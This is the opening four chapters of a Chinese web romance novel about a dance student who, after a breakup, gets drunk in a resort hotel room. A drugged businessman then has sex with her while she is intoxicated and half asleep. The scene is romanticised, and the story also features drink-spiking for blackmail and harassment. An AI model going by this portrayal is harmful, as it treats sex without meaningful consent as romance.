《婚后拉扯》
1. 第 1 章
财富自由是什么感觉,刚上大学的姜早花了四年就知道了。
她出生在一个比较偏僻的小村庄里,自小就没有零花钱,全家人都说好养活。
上了大学后,姜早深刻的感受到零花钱不够用的影响,把所有空余时间都用在了兼职上。
努力是有回报的,研究生上岸后,她的存款也攒到了一定数量。
这种自由,不是什么霸总挥手就将哪块地儿买了。
而在于不用低声下气同父母要钱,听那些赚钱不易之类令人愧疚式话语。
她把圆珠笔的笔帽被盖上,再盖上笔记本。
也有一段时间没有记录了,实在是太忙了。
同住的室友开门回来,侧头看了一眼,问吃了没。
这是她们日常的交流。
姜早经常早出晚归,所以互相同住一个屋檐也很少交流。
这是她曾经的学妹也是她的二房东。
当初她因为下班晚,回去宿舍都关门了,所以上学校附近找了价格便宜,在合租的房子。
不耽误上学也不耽误上班,两全其美。
“吃了。”姜早说。
其实她还没吃饭,但又觉得没必要寒暄太多。
往常说完这句,室友就回自己屋了,没想到这回室友将椅子抽出来,坐到了她对面:“你住到几月份呀?”
她是二房东询问这个也很正常,只是还有一个月才交房租,现在问会不会有些早。
姜早想了想道:“明年吧,我明年毕业,怎么突然这么问?”
等到毕业找工作,就不住这儿了,回老家那儿工作了。
室友手搭着旁边的桌子,说的随意:“我男朋友要实习找工作了,想要和我一起住。”
姜早也不想弯弯绕绕的,直接问道:“你不会想赶我走吧?”
室友迟疑了一下,随后摆摆手解释道:“本来我想着如果你要走,那就把另一间房给他住,你不走的话那他就和我住一个屋。”
姜早拿起手机,打开明天要背的资料,闻言随意的嗯了一声。
都这么说了,还有的选吗。
第二天,学校。
姜早很早就考完出了教学楼,在走廊外面等朋友出来。
朋友向来要晚一些。
清风拂过发梢,她蹙眉撩了撩。
是该剪头发了。
突然一个手机出现在面前,晃了晃。
“学姐方便加个微信吗?”
她往后退了一步:“不好意思,我有男朋友了。”
她这才留意到旁边出现的人,大约是大一的岁数,脸上还有些稚气。
学弟仓促收回手机,有些尴尬的说抱歉,然后风一般的跑了。
“又是一个伤心的爱慕者呀~其实我觉得这家伙长得不错,你怎么不考虑考虑。”姗姗来迟的闺蜜朝那个残留的背影看了好几眼,语气极其遗憾。
姜早不理那句话,只岔开话题道:“最后一题还挺难的。”
木奈奈不管她说啥,刚刚那股媒人的劲儿还没退去:“我说真的呀姜早!这个弟弟我校论坛见过,大三最帅男人榜第一名,评论还说人家阳光体育生,活泼粘人爱说话。和你这个大忙人刚刚好,正好调剂调剂你枯燥无味的人生。”
姜早转身自顾自往前走:“谁说我人生枯燥了,我人生挺励志的。”她顿了顿,侧头问,“再说了,你不是知道我有男朋友吗?”
木奈奈挡住她的去路,捧住她的脸,满脸痛心:“你不许说他是你男朋友,我什么时候承认过那个男的是你男朋友。”
姜早是艺术特长生第一招进来的,身材比例都很好,脸长得也很有江南那边女生娇俏的感觉,学习成绩也是拔尖儿。
进校前,还入过校外最顶尖的舞团,虽然后来因为一些原因退出来了,也不妨碍一直有人追求姜早。
一般人谈恋爱的选择多,都是矮子里拔尖,姜早是从尖里,弯腰把矮子拔出来。
从众多优秀候选人里面,挑了一个最让人看不上眼的。
一个长相还行、成绩一般、没什么钱的男的。
后来才知道这个男的是个富二代,装穷试探姜早的真心,这一来她觉得这男的人品也不怎么样,三不沾,一个三不沾的男的怎么配得上姜早。
她得知消息那时候疯狂摇晃姜早的肩膀,姜早只说觉得这个男的追他最久。
两人吵吵嚷嚷的走进烧烤店,店里人不多,烧烤店老板很快就把菜上齐了。
木奈奈熟练的把烤肉夹上去,看着肉滋滋冒油卷曲,她问道:“你今天是不是心情不好,怎么了?”
她向来对情绪敏感,何况是一直呆在身边的人,一下子就能发现异常。
姜早没感觉自己情绪有什么问题,但头疼的问题确实有一件,就把昨天室友说的那件事说了。
木奈奈闻言撂下手里夹肉的钳子,端手道:“你室友?就是你之前舞团的那个师妹?”
察觉到姜早提到舞团脸上有一丝落寞,她转过话头,“心真大。”
“我没办法拒绝,还有一个月才续租,她要是一个不高兴不租给我怎么办,我还不想换房子。”姜早夹起肉,试探了两口才往嘴里塞,奈何还是太烫了,忍不住哈了两口气给嘴里散热。
木奈奈蹙眉,倒了杯水递给她,双手端正的放在桌上,咧出一排齐齐的牙齿笑道:“我是说她真心大,你长得这个模样还敢把男朋友跟你放一起,也不怕他男朋友魂被你勾走。”
姜早仰头望天,无奈道:“你以为谁都跟你一样肤浅,人家是真爱。”
木奈奈耸肩:“我木奈奈也算是阅男无数,这么跟你说吧,男人基本都肤浅
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还贱,搞不好人家一眼就看上你还背着她女朋友追你,你小心着点儿晚上房门锁好。”
姜早没应话,将烤好的肉吹了两下放到木奈奈嘴里:“这肉挺好吃,你尝尝。”
木奈奈无奈,嚼了两下,想起今天是周五,便问道:“明天去不去唱歌?系里搞了个聚会哦。”
当然这只是托词,她也不乐意去那些聚会。
真正目的其实是她从小弟那得到消息,京城有名的那几位明晚在,她没才没貌的是没机会了,但是姜早长得这模样,比网上那几个网红好看不知道多少倍,说不定就能和谁搭上关系。
有时候缘嘛,就是这么来的。姐妹暴富,鸡犬升天,未来可期。
姜早一向不喜欢这种聚会,而且明天也确实有事:“不去,我要上班。”
木奈奈撂下筷子,狐疑道:“你周末不是晚上没课吗?”
姜早的兼职是在外面教小孩跳舞她是知道的,她之前没搬离寝室到时候周一到周五都是晚上出去上课,周末是白天出去下午回来。
她虽然没问过她上班时间,光靠看她日复一日规律的进出门时间她都知道了,这些可瞒不过她。
姜早看着木奈奈一副审判的模样,拿出手机打开聊天记录,递过去。
明天临时有个商演,商演的机会不多,她有机会都会接。这次似乎是哪个地方需要一个开场舞,动作不是很难。
木奈奈看着上面的内容。
记忆重叠时,她恍然回忆起,几年前与姜早一起在这吃烧烤,姜早坐在桌前满眼星光,自豪的说收到了国际舞蹈赛的邀请,那时舞蹈对姜早来说绝不是明码标价。
她知道姜早不喜欢提起以前的事,便故意一只手扶额一只手推开手机,垂眸无力道:“早早,你别这么拼行不行,在你身边我简直要窒息了。”
姜早将手机放好,安慰道:“我发财了,才有钱给你买冰淇淋啊。”
木奈奈不吃她那套,仍旧扶额:“你要我怎么接受你这样十佳大美女配那个低配男,你要是想让我好受一点就赶紧把他踹了。”
姜早知道她又要在这个问题上不依不饶,随便敷衍了几句上去,这餐吃的也算是愉快。
她工作的地方也算是近,把烤肉吃完后便骑个共享单车去上课,回家已经是十点。
本来想着室友男朋友应该还要几天搬东西过来,没想到她刚进家门就听到了紧闭的房门里,咿咿呀呀的声音。
她饶是活了这么多年,也没听过这种声音,不由得红了脸,匆匆洗漱完就回了屋里。
半夜不知是不是幻觉,好像听到了一段熟悉的男声出现在客厅里。
应当不是的,她男朋友被导师带去竞赛了现在人不在京城。
她睡眠不错,即使被打搅了,很快便又睡过去了。
一夜好眠。
2. 第 2 章
清早的闹钟一响,姜早就爬起来收拾好东西了,不是上班积极,而是怕路上堵会迟到。
兴趣班的时间都是通过家长统一通过后才决定的,很难保证迟到十分钟会不会耽误家长给孩子安排的其他事情,所以大多数时候都要早一点出门。
厨房传来乒乒乓乓的声音,往常室友是不会这么早起的。
她出门要经过厨房,便侧头看了一眼。意外的,那个位置出现的人不是室友,而是一个熟悉的男人。
她停住脚,恰好那个男的也侧头望了过来,拿铲的手滞在原地。
原来昨夜听到的声音不是幻听。
那个天天在聊天里抱怨项目难度,客户难缠的男朋友,明明应该在外地,现在却出现在这里。
“你听我解释,早早。”迟言脸上慌乱,放下铲子,冲过来要拉她手。
姜早往后撤了一步,语气出乎意料的平静:“火没关,别把这儿烧了。”
似是听到客厅的声音,主卧的门被打开。
室友穿着一袭真丝睡衣走出来,身上还不乏昨天留下的一些暧昧痕迹,她娇媚的揽上迟言的胳膊:“早早姐,本来想晚点给你介绍,这就是我男朋友,迟言。”
姜早只淡淡扫了室友一眼,当年在舞团的时候,迟言天天过来送水,她不相信作为舞团的小师妹,从来没看到过她们在一起。
她轻轻地嗯了一声,转身开始换鞋。
“对了早早姐,最近你开关门要轻一点哦,迟言给我拿到了休斯顿顶尖舞者名额,我这两天都要好好休息准备训练啦。”
姜早正在系鞋带的手微微一顿,眼中终于起了一丝波澜。
她几年前满身荣耀进舞团,为的就是舞团有去休斯顿竞赛的名额,本以为是十拿九稳的事,迟言在说能送给她一个名额的时候,也不屑一顾。
她认为自己争取得到的,和别人送的,含金量是不一样的。
想到这,她的回忆抽丝剥茧。
二十多的她风华正茂,自小大大小小比赛的特金奖,拿到哪里都是烫金履历,被业内称为最优秀的小将。
后来顺利进入国内顶尖舞团,还收到了国际比赛邀请,两者只要选择一个都可以直通休斯顿顶尖舞者名额。
她选了在国内竞争,从前国内的对手接触过很多,拿下名额更有把握。
只是,一切都败在那一晚。
她被舞团要求临时替补一个成员出使国内省赛,尽力在半天内扒完舞的舞,还是出了一点差错,所有人都觉得因为她的出错团队没有拿到奖。
评委质疑她的专业性,带队老师没有替她解释。休斯顿名额被取消,被排挤出舞团,她的舞者生涯好像都在那一晚被毁了。
当她精神崩溃的时候,想着总会有人帮她,但事实上并没有人施以援手。
那时候,她想,凭什么呢?凭什么因为一点错误就否认她的全部。
后来随着时间的流逝,她淡然了很多。
这世上谁会不在乎结果呢?面对老师当时提出的替补请求。她答应即是承诺,出错就是不该,何况那还是舞台,一个只看成果的地方。
她唯一能做的,就是直面失败,不要让自己原地踏步,换一条赛道接着往前走,只要确定自己是在往前走,一切都会变好的。
记忆剥离,耳边的声音又清晰起来,她手接着系鞋带。说心中没有波澜是骗人的,那个名额她也想要的,可惜也只是想要,拿不到了。
迟言急急攥住她的手腕:“早早!”
姜早蹙眉回头看着这只手,不禁想起以前,她和他牵手。
他欢喜雀跃,她却没有一丝情绪。
她告诉自己,未来一定会因为牵手而高兴。现在牵手终于给她带来了不一样的情绪,却是反感。
室友眼眶红的似要滴血,又要演出一副十分好奇的模样:“啊?迟言你和早早姐认识吗?”
迟言没理,死死拽着姜早的手:“早早你听我解释...”
“不熟。”姜早面无表情地甩开,穿好鞋就出了门。
本来想骑小电车去单位,走到公交站台附近的时候公交恰好来了,就改坐了公交车。
手机里有个叮叮当当不断发信息刷屏的人,她没点开看,直接将人拉黑了。
窗外的风拂过脸颊,是温和的明媚的,这时候难免晃神。
方才那般情况下,作为被辜负的人,心情应该是伤心或是愤怒,但方才她没有。
也许从一开始她就没有喜欢过这个人,只是觉得合适罢了。想起从前还要百忙之中义务般回信息,眼下不用应付了也轻松不少。
唯一的麻烦,就是这房子是非搬不可了。
到了机构里,老板十分热情地喊她过去。
老板不是经常这种面貌,这种面貌一般都是有新的体验生来。
果然,等走近,老板就将一对母女带到她面前。
母亲看模样是个很儒雅端庄的人,说话温温和和的。
特意叮嘱,让老师不用仁慈,该严厉严厉,是个很开明的家长。
再看这个孩子,五岁,大班的年级,小名叫做小苹果,看起来挺乖巧的。
挺好。
她熟练的将孩子带到教室里,打算带孩子先熟悉一下环境。
也不知是不是教室的玻璃门关上隔绝外面世界,刚进班的小苹果像被解开了封印,一把拽住她的胳膊道:“老师,你有没有男朋友?我哥很帅,我把他介绍给你。”
姜早蹲下身捏了捏她圆鼓鼓的脸,这孩子才五岁,哥哥最多也就初中的岁数,介绍他们认识岂不是太荒唐了,真是童言无忌。
她想了想,只回答了前一句。
新生进班一直要不少体验课的照片,为了不耽误其他小朋友教学进度,在上课前五分钟,将班里其他小朋友已经学过的几个动作给她教了一遍。
意外的,这个小朋友软度很好,很多动作一教就会。
没有老师会不喜欢优秀的孩子,临近下课,她就在新生的身上贴了很多小贴纸。
下完课,小苹果都被接走后。老板往沙发上一躺,指着前台桌子上的奶茶说请她喝。
姜早握着奶茶晃了晃插入吸管,老板时不时就会有些小福利,这也是她一直愿意留在这儿的原因。
老板开心的时候喜欢碎碎念,这会儿正开心,便道:“刚刚体验课的家长说孩子很喜欢你,已经报年卡了。”
姜早看了一眼手里的奶茶,没加珍珠也没加波霸。
她叹了口气,突然感觉没那么好喝了。
听着耳边还在碎碎念的老板,她手里已经打开了平板,备下一节课的动作。每个班的进度不同,教的内容也不同,下一个班都是大孩子要教的难很多,偏技巧性。
匆匆忙忙中,一整天的三节课她很快就上完了。
她收拾完桌上的东西,装入包里就挥手和老板告别了。
她想,除了老板是个不懂跳舞的商人之外,在这儿上班挺开心的。
她打了个哈欠,看到手机里商演朋友说要来接她便发了个定位过去。闲着等车时,她想起自己已经单身了,就拉开聊天框,把这个消息告诉她的那位好闺蜜。
果不其然对方得知消息后是秒回,还将屏幕刷屏了。
姜早叹了口气,一条条往下刷着,木奈奈无疑就是庆祝她脱离苦海,要说要摆酒叫满帅哥给她庆祝。
刚巧,商演的那位朋友车恰好停在她身前,车窗打开热情地朝她打了个招呼让她赶紧上车,她将手机息屏放回口袋里,坐进了车里。
她不知道商演的地方在哪里,看着车越开越偏僻,不禁开口问道:“要去哪里商演啊?”
那位朋友疑惑的哎了一声,然后道:“在AS度假山庄呀,群里不是发了吗?你没看?”
姜早拿出手机翻开群聊看了一眼,确实有这条消息,只不过这个群被压在众多工作群下面,她没注意到。
她点开AS度假山庄的位置,真的是在一座山里,挺荒僻的。
那朋友见她不说话,便知道她没看群里消息:“那边是新盘刚开业,需要我们去当热场嘉宾,跳完我们就去周围逛逛,虽然是在山里但是周围什么店都有。”
姜早嗯了一声,百度搜了一下AS度假山庄,里面的介绍与她说的差不多,是个高端盘。
安全就行。
她放下手机,看着窗外的风景,越来越靠近山,窗外的风景越来越美,黄昏的晚霞照在山头,朦胧的光打在周遭,
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美的出奇。
她每天三点一线许久没有看过外面的风景了,到下车的时候,才恍然回神自己是来工作的。
这座山庄,像把这座山移平了,这一整片就像是商业街什么店都有,就算是临近晚上,也是灯火通明。
负责接待他们的经理是个十分具有精英气场的女人,手上拿着一张纸上面写了很多字,与他们介绍着一会儿的行程安排。
介绍听到一半,姜早就发现不对,原本以为的表演一场,可介绍中说的是要表演三场。
她与旁边介绍她来的朋友对视一眼,对方也无奈的看了她一眼,显然也是刚刚知道。
眼下人都到这儿了,她们也不擅长现场聊价,只好算了。无论一场还是三场,能把钱赚了就行。
又过了两分钟,两个负责礼仪的人员也驱车来了,听完经理的介绍也是眉头一拧。
有一个提出了质疑说原本答应下来是一场。
经理面色坦然,说临时有变,跟着行程走。接单一般不说场次,而是说天数,人家买了这个时间怎么用也就是他们说的算了。
人上了贼船,就是这个道理。
四个人被安排去ktv里面换了品牌方logo的衣服,换完之后出来等着她们安排。
姜早看着身上暴露的衣服,着实不喜欢。路过的一些客人眼神不时的往这边探,更有人抬手拍她们的照片露出一副很油腻的表情。
商演的朋友看到不少人在看着姜早,她也注意到了。
姜早的曲线很好,之前商演穿的都是一些古风衣服,现在这套太过紧身,将优势全展现出来了。
她戳了戳姜早,打趣道:“身材很好呀。”
姜早没搭理她这句话,往她身后躲了躲,小声问道:“什么时候表演啊?”
经理这时候也刚打完电话,他将手机塞到口袋里,然后赶紧让她们四个两两站好在门口,说有重要人物要来,先在这儿等一会。
还没等她们反应,三辆商务车在ktv门口停了下来。
安保恭敬的将车门打开,六个西装革履的男人走到一起笑着说着什么朝里面走来,ktv里面也急急忙忙出来了几个西装革履的男人,对他们点头哈腰、满脸奉承。
“小赵总!小陈总好久不见啊!后面几位是你们的朋友吧,快请进果盘儿都上好了。”
姜早低着头,不敢迎上那帮人的目光,却感觉有几道目光已经凌厉的刮过身体。
“这几位是?”
经理挤在被称作小赵总的人身边,奉承地凑过去:“光吃饭多无聊,给你们安排了一些小节目。”
小赵总一边笑,一边用手指经理,一副对安排很满意的样子。
他边走边看向那个不近人情的男人,颇为痞气的勾住他肩膀:“沈总,有没有看上的,我送你一个。”
沈淮淡淡道:“不是来谈合作?”
小赵总收回手,大笑了两声:“和您开玩笑呢沈总,怎么这点玩笑还开不起?”
沈淮理了理身上被拉褶皱的衣服,一双眸子冷若冰霜:“不太爱开玩笑,抱歉。”
小赵总脸上不着痕迹的一沉,马上又笑起来,将人迎进了包厢里。他借口出门点酒走到了廊道里点燃了一根烟,一个ktv的随侍走了过来问道:“赵总,要去准备吗?”
静默了一会,小赵总吐了口烟圈,眼中已经没有方才的顽劣,取而代之的一种精明的算计:“再等等,不到万不得已不要用那一招。”
随侍走了,他将烟仍在地上捻了两下。
沈氏集团从前并非遥不可及的存在,很多合作只要贿赂沈氏高层员工就能拿到。
直到沈家的沈淮留学回来一切就都变了,沈淮一来就查了近几年的账,不留情面的将几个有污点的元老踢出局,甚至还搞起了资源垄断,控制了底下两百多家企业。
找他合作的人络绎不绝,可沈淮像有铜墙铁壁一般愣是油盐不进,他这回见面的机会还是托着他爹和沈家老爷的关系才弄来的。
小赵总掀开脚,邪笑着看着被捻稀碎的烟。
那帮人胆子小,他不一样,他胆子大。要怪就要怪沈淮今天一个人来到这儿,若是今天这合作谈不下来,就别怪他使一点肮脏的法子了。
3. 第 3 章
姜早蹙眉,这哪里像是临时的任务,分明就是专门让她们来陪酒的,找了商演这个借口。
她放下手里的转盘:“我不干了,钱我不要了。”
经理哪舍得放她走,她生的好看,光是刚刚在门口就已经有不少人盯到挪不开眼了,放酒局效果肯定更好。
那些老总肯定要把酒买空,给妹妹高兴,到时候这提成就不得了。
她半劝告半警告道:“你们几个都算一笔单子,你走了他们的钱也结不了,你自己走了,她们可么办啊?妹妹你听我说,你进里面陪人家玩一玩就好了,说几句漂亮话哄他们买酒,到时候提成我给你们多算点。”
姜早朝其余三个人望过去,那两个礼仪有些躲闪她的目光,商演的朋友没避讳,凑过来道:“算了吧,也就是进去说点漂亮话,来都来了。”
姜早听着那句来都来了,眉头微蹙。她今天一直都在迁就那一句来都来了,什么事儿都糊里糊涂的被安排。她自尊心很强,不过才给几百的活儿,不值得卖掉自己的自尊。
她让几个人打开微信,每个人都扫了几百块钱过去:“这单我买了,你们要进去还是不进去都由你们自己决定,我走了。”
不过才几百块,几百块就可以买人的自尊吗?那未免自尊也太过廉价。
她不肯卖。
夜的风极为的冷,她蹲在门外打车,等了十分钟、二十分就是不见有车接单,也只能等商演的那位朋友下来。
她打开聊天框,发了个信息过去便关上了手机。
身上的衣服还没换,原来的衣服被收进了那位朋友的车里,暂时也拿不回来,只能等。
但她不想在这等。
她起身,往外走,突然感觉后背被摸了一把,错愕的回头,身后有三个男人,色眯眯看过来,似乎刚从里面出来,浑身酒味。
“往后退做什么,哥哥还以为你要摔了,帮你扶一把呢。”
姜早虽然气急,可第一次碰到这种场面也不知道怎么办,面对这种满身酒气的人硬碰硬解决不了问题,示弱才是保全自己的方法。
这个时间点,外面太过清净,往外走不如往里走的安全,好歹有安保人员。
她没应,故作淡定的往里走,找到一个女服务员,问有没有清净一点的地方。
女服务生说有,原以为是什么大厅之类的,结果女服务生说楼上有一间套房。
也好,这样更安全些,她拿出手机,扫码付了钱。
也不知道这房卡是很难找还是怎么的,那女服务员左右两个口袋迟疑了很久。
姜早不安的往后看,门口遇到的那三个人跟了进来,坐在沙发上,手里拿着刚从自动贩卖机里拿出来的啤酒。
她心中发慌,低声道:“我不挑,你随便给我一个就行。”
服务生脸上尴尬,从左右两个裤兜里面掏出两张卡仔细比对,最后自顾自说了一声想起来了,才将右边那张卡递过来。
进了房间后,她颓然的躺在床上,点开聊天软件,看到消息,微怔。
木奈奈发过来聚会的定位,就是这里。
她把今天的遭遇简略的打了行字,搭上房间号发了过去。
木奈奈是秒回,说马上就来。
木奈奈在这里,她心里就安心多了。木奈奈有车,到时候可以捎一程。
她点开那个商演朋友的聊天框,又打了一行字过去。
说自己已经先回去了,衣服改天再拿。
门外传来一阵敲门声。
打开门,就见木奈奈姿态妖娆的站着,身边还有一辆三层小推车,推车上全是酒。
难怪会这么久才来…
“早早,不邀请我进去吗?嗯?”木奈奈抛着眉眼道。
姜早脚拦着门,指着推车道:“你拿这么多酒做什么?”
木奈奈手点住姜早的唇:“嘘,我知道,发生了这么多不愉快的事,你需要宣泄,这才点了这个包房。”
姜早愣在原地:“什么意思。”
木奈奈揽住她的肩,顺势拉着车走了进去,脚踹了一脚门关上,然后做出一个怀抱天的动作:“早早,这个业务很隐秘,你既然定了这间房,就一定是想迈出这一步!放心,我来帮你!”
姜早眉头越蹙越紧:“我还是没听懂。”
木奈奈挑眉:“男模啊,定这个房间可以随时喊男模上来的,哎哟,和我还装什么呢~你为人要面子,我知道你不敢,但有一句话叫酒壮怂人胆~你喝几杯就敢了。
姜早捂嘴:“不犯法吗?”
木奈奈豪迈的搂住她:“不就是陪点酒,乐呵乐呵吗,又不亲热,犯什么法,你要不要点,要点我给你点一个!清汤寡水这么多年,二十好几的研究生了!让个男人跪在你面前哄着你喝酒,不爽吗!”
姜早推开她,扶额道:“不用了。”
木奈奈可惜道:“点嘛点嘛!”
姜早扶额:“不点,点了我跟你翻脸。”
木奈奈委屈的撅嘴。
姜早看到她脸上红红的,想来是在楼下的聚会喝了不少酒,开车肯定是不行了….
“你车上有没有多的衣服,我下去拿一下。”
木奈奈晃了晃手里的大酒瓶子,倒进两个杯子里:“有,当然有!我等会去帮你拿!现在不是说这个的时候,你穿这个衣服和我喝酒真有情调,来!让我们先为姜早同学恢复单身干杯!cheers!”
姜早手接过酒,就看这杯里的颜色,怎么是白的?不是说白酒度数很高?
木奈奈的杯子凑过来,两个杯子被迫碰杯。
在木奈奈一脸期待的表情中。
姜早认命低头,小抿了一口,一股火辣辣的味道在嘴里迅速散开,匆忙咽下去,肚子里也火辣辣的。
刚想放下酒杯,一只手就伸了过来,一把将杯子里的酒都灌到了她嘴里。
木奈奈脱了鞋子跳到床上,指着姜早塞得鼓鼓囊囊的嘴巴道:“你可不许吐!酒!是世界上最好的东西!能够让人忘掉所有烦恼!所有的不愉快!”
姜早嘴巴塞的太鼓,没忍住便全部咽了下去,辣的让人浑身发热,她扇了扇嘴巴试图让里面凉快些。
酒一点也不好喝,比不上旺仔,也比不上可乐。
她扶额反思自己失败的一天,原来还没有结束,临近睡觉的点还给自己找来一尊
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活菩萨。
她这是第一次喝酒,也是第一次知道自己的酒量确实不行。眼下大脑像是蒙了一层雾,听周围喋喋不休的话已经变成断断续续,有强有弱。
“这第二杯!敬你花钱买自由!太帅了太帅了真的!早早我爱你!”木奈奈将要躺下的姜早扶起来,把第二杯酒递过去。
“我喝不下了。”
虽然这么说,她糊里糊涂的,还是把酒接住了。
木奈奈也不看她有没有喝完,拿着酒瓶往门口走:“早早你睡吧!你安心睡!战斗这种事儿交给我来!居然有人敢趁我不在欺负你!真当我木奈奈是吃素的!我要他们吃不了兜着走。可惜你不要男模,不然我走了,还可以有人给你解解闷,可惜可惜啊。”
随后是开门关门的声音,姜早头昏完全听不清周遭声音,只以为她出去给自己拿衣服了。
她费劲的爬上床,钻到被子里缩成一团。
模糊中想起木奈奈临走前似乎说起男模这两个字,担心她出去给自己点男模,强撑着抬手,抓起电话朝服务台打过去。
“不要男模...”她模糊道。
服务台的人听不清内容,模糊中只听到男模两个字,担心出错又问了一遍:“女士,你是要点男模吗?”
姜早睡意起来了,压根听不清对方说什么,猜测对面怎么也应该听清了,便没再多问,只嗯嗯了两声。
服务台的人挂断电话,朝旁边两个帅小伙抛去一个媚眼。
来活了。
顶楼包间的门打开,沈淮被服务员搀扶着出来。身后的人递给服务员一道眼神,服务员点头,刷了房卡进电梯。
电梯下行,男人睁开眸子,眼神略带晦暗。
“录到了没有?”
服务生点头:“录到了。”
沈淮后撤了一步,背倚靠着电梯,一副慵懒的模样,侧头时,如墨的夜色尽收眼底:“不用管我,去把视频发给他。”
商场如战场,他那位父亲这回也该知道了,顾及旧情到底是什么后果。
有时候劝说的效果,往往没有自然后果法的成效好。
服务生有些担忧的看向过去:“小沈总,你其实可以不用喝这杯有药性的酒。”
他们小沈总新上任一年就将集团股市翻倍,又怎么可能是毫无城府之人。
小沈总面上温和不问世事,实则运筹帷幄,睚眦必报,对别人狠,对自己更是。
沈淮闭眼:“入局才能演的逼真。”
服务生递过房卡,道:“沈总你之前猜的没错,他们往空房里面塞了女人。”
之前小沈总说,那帮人会设局让他和女人上床,好拿捏住沈氏集团,他还不信。
谁有破天的胆子敢给京城炙手可热的小沈总设这种局。不过,今天见到了…
看沈淮在打量房卡,他保证道:“沈总你放心,今天的房只剩下两间,401睡的他们安排的人,剩下那间410是空房,就是...沈总你真的没事吗?”
电梯响了,门慢慢打开。
沈淮嗯了一声,慢慢走出去。
他被灌了不少酒,又加上被下了药,没有效果是不可能的。
4. 第 4 章
姜早迷迷糊糊中感觉床塌下去了一块,只以为木奈奈回来了,就在被窝里嘟囔了两句。
这一嘟囔突然身上一凉,似乎被子被拨开了,她觉得冷就抱住旁边暖呼呼的东西,似乎是什么大暖炉。
随即她感觉到身上越来越热,任凭自己怎么蠕动想挪开都动不了,她恼了想喊:“别...嗯..”还没等她说完,一道唇压下来。
她想喘气喘不上气,浑身发热好像要死了。
求生迫使她睁开眼,宛如梦境一般,模糊的视线中竟然看到了一个放大的人脸,用热切的唇探索着。像是感知到她求生的恳求,他终于放过了她的唇,转而攻向她的耳朵。
她浑身都很敏感,特别是耳朵,她没忍住发出嘤咛,无形中像是刺激了那人一般,密密麻麻的吻从脖颈顺势落下。
窗外是月色朦胧,屋内,剑出鞘,花沾水。
门外打扮精致的男模在门口喷了两回香水,才掏出房卡推开门。咔哒一声,他握住本把手往里推进去,正打算施展才华,下一秒猛地抽回脚,啪嗒一声把门关上。
......
次日,姜早被鸟啼声喊醒,她盯着天花板看了一会儿,这才想起这儿不是家里。她动手想摸手机看时间,突然的移动的移动,是被子与皮肤的直接摩擦,她浑身一震。
记忆如潮水般涌来。
也就是昨晚的梦是真的?
她小心坐起来晃了晃头,她记得她睡梦中打了通前台电话,难不成她说成要男模了。天呐...该死...
她迟钝的转过头,对上了男人近在迟尺的脸,他仍在沉睡中,眼睛闭着对周围异常毫无察觉。
这张精致的脸不禁让她晃神,她认识这张脸。大一刚入学的时候,她坐在台下,台上他作为优秀学生代表发言万众瞩目众星拱月。他和金融学姐江婷号称是学院的金童玉女,传言还说他们两个以后会结婚,直到他一年后去留学了,他的名字才在学校消逝下去。
他做男模了?这...
她双手扶额,一时间觉得脑子里天旋地转,比昨天晚上喝醉还要让她头痛。
这件事需要一段时间消化,只是这个时间决不能是现在,得趁着这个男人醒来之前赶紧走。她小心翼翼掀开被子一角,满手慢脚的爬起来。地上的满地狼藉,提醒着她昨天的不堪的场面,脸不禁僵了些许。
她飞快地套上衣服,又觉得有些不妥将地上的外套拾了起来披在身上。
她拾起鞋子拧身刚想走,忘记昨天遭罪的腿现在不够活络,一个踉跄往地上跌去。手机恰在此时滑在地上,发出不大不小的声音。
她眼看男人蹙眉有些要醒的迹象,她胡乱抓起地上的手机一溜烟跑了。
她颇为狼狈的走出电梯,正好遇上了打着电话过来的木奈奈,木奈奈见到她就将手机收了起来说正要给她打电话,没房卡她上不了电梯,她的手上还拿着给姜早带的衣服,见姜早身上披着一身西装革履狐疑地问这衣服哪里来的。
姜早哪里顾得上解释这些,只糊弄说是酒店衣柜里的,拽着木奈奈的手恨不得马上回到她的车上,让她开一百八十迈送自己回家。
两人走出酒店时,门口的两个安保颇为警戒的盯过来,甚至将扔在一旁的盾牌拿了起来。
姜早本来不在状态,但保安的神情太过奇怪,她不免注意到了,朝一边问道:“昨天发生什么了吗?”
木奈奈左手握着方向盘,右手挂挡,闻言撇了一眼后视镜,那两个安保眼神正透过车窗死死盯着她呢,她一脚油门踩出去,云淡风轻道:“好像是发生了什么吧。”
姜早的感觉到木奈奈脸色不太对,像是有所预感的问道:“和你有关嘛?”
木奈奈摇头晃脑道:“当然啦,昨天你说的那三个小混混就在沙发上坐着呢,我一把就把酒瓶子打碎了说要杀了他们,那三个怂包见我朝她们冲过去差点尿了,连滚带爬的跑了。”
姜早沉默下来,静静地看她,眼睛湿漉漉的。
木奈奈不见她回话,撇了她一眼才发现她满眼通红,可爱的像是一只小鹿。她嘿嘿笑了两声,道:“可惜我不是男的,你不能以身相许喽。”
姜早侧头看车窗外风景,眼泪如瀑般轻轻落:“下次别这样了,我怕你出事。”
木奈奈知道这氛围不适合再玩笑,低低嗯了一声,车里静静地。她和姜早认识五年了,这五年里好像一直是姜早在帮助她。初见时她被人泼脏水被全班孤立姜早力排众议为她解释为她证明,再后来她被一群人围在厕所也是姜早挡在她身前,她被姜早带着一直走一直走,从本该堕落抑郁的人带到了保研的好学生。姜早从不邀功,但她木奈奈都记在心里。
姜早改写了她的命运,她昨天回报的那些又算得了什么,凤毛麟角罢了。
姜早想打开手机请假发现手机打不开,也许是没电了。好在之前用木奈奈的手机给老板请过假,她就用木奈奈的手机拨过去请假。
老板知道她很少请假,说会找个代课老师帮她上今天的课,让她好好休息。
姜早回木奈奈家呆了一天,本来想趁空闲看看租房信息,打开充好电的手机,看着陌生的屏保才意识到拿错了手机。
她不会再去那里了,手机拿错她也不管了,到时候再去补办一张卡换个手机就好了。
次日,临近要上第一节课的点,两人坐在桌上吃饭,木奈奈本来还在打趣隔壁同学的八卦,拿起手机后不知道看到了什么,脸上表情突变。
姜早感觉到她落到自己身上的目光,边问怎么了边凑过去,试图去看手机上的内容。
木奈奈手敏捷的一偏,把手机慢吞吞的放回口袋里,心虚道:“老呆发消息过来,说今天全校放一天假。”
“今天放假?”姜早停下筷子,她没想起有什么节日来,便问:“有说什么原因吗?”
木奈奈直视她,脸不红心不跳道:“说是什么领导会议要在咱们学校开,学校放假一周。”
姜早低头哦了一声,收拾起碗来。
以前也有过类似的情况,一个大会要在学校附近开,附近所有学校都要停学,她也没多想。
姜早把碗放到洗碗槽,转身时看到木奈奈拿着手机一停不停的发着信息,那手速像是在打机关枪。偏生和她对视的那一刻,又飞快地把手机锁屏了。
她好奇道:“和谁
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聊天呢?”
